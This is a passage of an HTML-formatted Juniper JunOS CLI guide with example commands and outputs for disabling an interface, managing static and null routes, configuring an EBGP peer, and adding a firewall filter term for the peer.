<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Disabling an interface</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit interfaces]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>set fxp0 disable</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit interfaces]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show interfaces fxp0 terse</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Interface<span style="mso-spacerun: yes;">  </span>Admin<span style="mso-spacerun: yes;">  </span>Link<span style="mso-spacerun: yes;">   </span>Proto<span style="mso-spacerun: yes;">  </span>Local Remote</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">fxp0<span style="mso-spacerun: yes;">        </span>down<span style="mso-spacerun: yes;">    </span>up</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">fxp0.0<span style="mso-spacerun: yes;">     </span>down<span style="mso-spacerun: yes;">    </span>down<span style="mso-spacerun: yes;">  </span>inet<span style="mso-spacerun: yes;">   </span>172.16.1.1/24</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit interfaces]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>delete fxp0 disable</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show interfaces fxp0 terse</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Interface<span style="mso-spacerun: yes;">  </span>Admin<span style="mso-spacerun: yes;">  </span>Link<span style="mso-spacerun: yes;">   </span>Proto<span style="mso-spacerun: yes;">  </span>Local Remote</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">fxp0<span style="mso-spacerun: yes;">        </span>down<span style="mso-spacerun: yes;">    </span>up</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">fxp0.0<span style="mso-spacerun: yes;">     </span>down<span style="mso-spacerun: yes;">    </span>up<span style="mso-spacerun: yes;">  </span>inet<span style="mso-spacerun: yes;">   </span>172.16.1.1/24</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 80.25pt; text-indent: -0.5in; mso-list: l0 level1 lfo22; tab-stops: list 44.25pt; mso-layout-grid-align: none; mso-outline-level: 1;"><a name="_Toc222215508"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">8.</span><span style="font: 7pt &quot;Times New Roman&quot;;">           </span></span></span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">CLI COMMANDS FOR STATIC ROUTES</span></span></strong></a><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;">   </span><span style="mso-bidi-font-weight: bold;">Configuration Examples</span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Adding Static Route for 192.168.16.0 /24 network 1.1.1.1</span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit routing-options]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>set static route 192.168.16/24 next-hop 1.1.1.1</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit routing-options]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>show</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">static {</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">route 192.168.16.0/24 next-hop 1.1.1.1;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">}</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show route protocol static | match 192.168.16.0</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">inet.0: 10 destinations, 15 routes (10 active, 0 holddown,</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">+ = Active Route, &#8211; = Last Active, * = Both</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">192.168.16.0/24 *[Static/5] 00:02:28</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">to 1.1.1.1 via fe-0/0/0.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Configuration Examples</span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Deleting Static Route for 192.168.16.0 /24 network 1.1.1.1</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit routing-options]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>delete static route 192.168.16/24 next-hop 1.1.1.1</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit routing-options]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Adding Static Null Route for 192.168.16.1 /32</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>set static route 192.168.16.1/32 discard / reject</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit routing-options]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">A reject next hop will prompt the local router to send an ICMP message of “Destination Host Unreachable” to the source of the IP packet. This message notifies the remote router that the data packet was dropped from the network. A discard next hop does <em>not </em>send an ICMP message back to the source; it silently drops the packet from the network. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 80.25pt; text-indent: -0.5in; mso-list: l0 level1 lfo22; tab-stops: list 44.25pt; mso-layout-grid-align: none; mso-outline-level: 1;"><a name="_Toc222215509"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">9.</span><span style="font: 7pt &quot;Times New Roman&quot;;">           </span></span></span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">CLI COMMANDS FOR BGP</span></span></strong></a><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify; mso-outline-level: 1;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Configuration Examples</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Configuration of the BGP Peer on Juniper Router for the below listed parameters: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Neighbor IP: 192.168.1.2</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Neighbor AS::65000</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Peer Type: External (EBGP)</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Peer Description: Customer</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Peer Import:: Peer-Neighbor IP—Standard Syntax </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;">                                                </span>(peer-192.168.1.2)</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">remove-private—Standard (Removes Private AS<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;">                                        </span>Information in<span style="mso-spacerun: yes;">    </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;">                                   </span><span style="mso-spacerun: yes;">     </span>the BGP Advertisements)<strong></strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: center;" align="center"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Configuration Examples</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">User@Juniper # set protocols bgp group peer-192.168.1.2 neighbor 192.168.1.2</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">User@Juniper # set protocols bgp group peer-192.168.1.2 peer-as 65000</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">User@Juniper# set protocols bgp group peer-192.168.1.2 type external</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">User@Juniper# set protocols bgp group peer-192.168.1.2 description Customer </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">User@Juniper# set protocols bgp group peer-192.168.1.2 import peer-192.168.1.2 </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">User@Juniper# set protocols bgp group peer-192.168.1.2 remove-private </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Mandatory to add BGP Peer IP in the Juniper Firewall Filter to protect BGP routing Engine in case of attack</span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> <strong></strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">User@Juniper#</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">User@Juniper # set firewall filter internet term bgp from source-address 192.168.1.2 /32 </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Configuration Examples</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Verifying BGP Peer Config</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">user@Juiper&gt; show configuration protocols bgp group peer-192.168.1.2</span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> <span style="mso-bidi-font-weight: bold;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;">type external;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;">import [ peer-192.168.1.2 customer bb2 ];</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;">family inet {</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;"><span style="mso-spacerun: yes;">    </span>any {</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;"><span style="mso-spacerun: yes;">        </span>prefix-limit {</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;"><span style="mso-spacerun: yes;">            </span>maximum 116;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;"><span style="mso-spacerun: yes;">        </span><span style="mso-spacerun: yes;">    </span>teardown 90;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;"><span style="mso-spacerun: yes;">        </span>}</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;"><span style="mso-spacerun: yes;">    </span>}</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;">}</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;">export [ send-default none ];</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;">remove-private;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;">peer-as 65000;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;">neighbor 192.168.1.2;</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="font-size: small;"> </span></span></p>
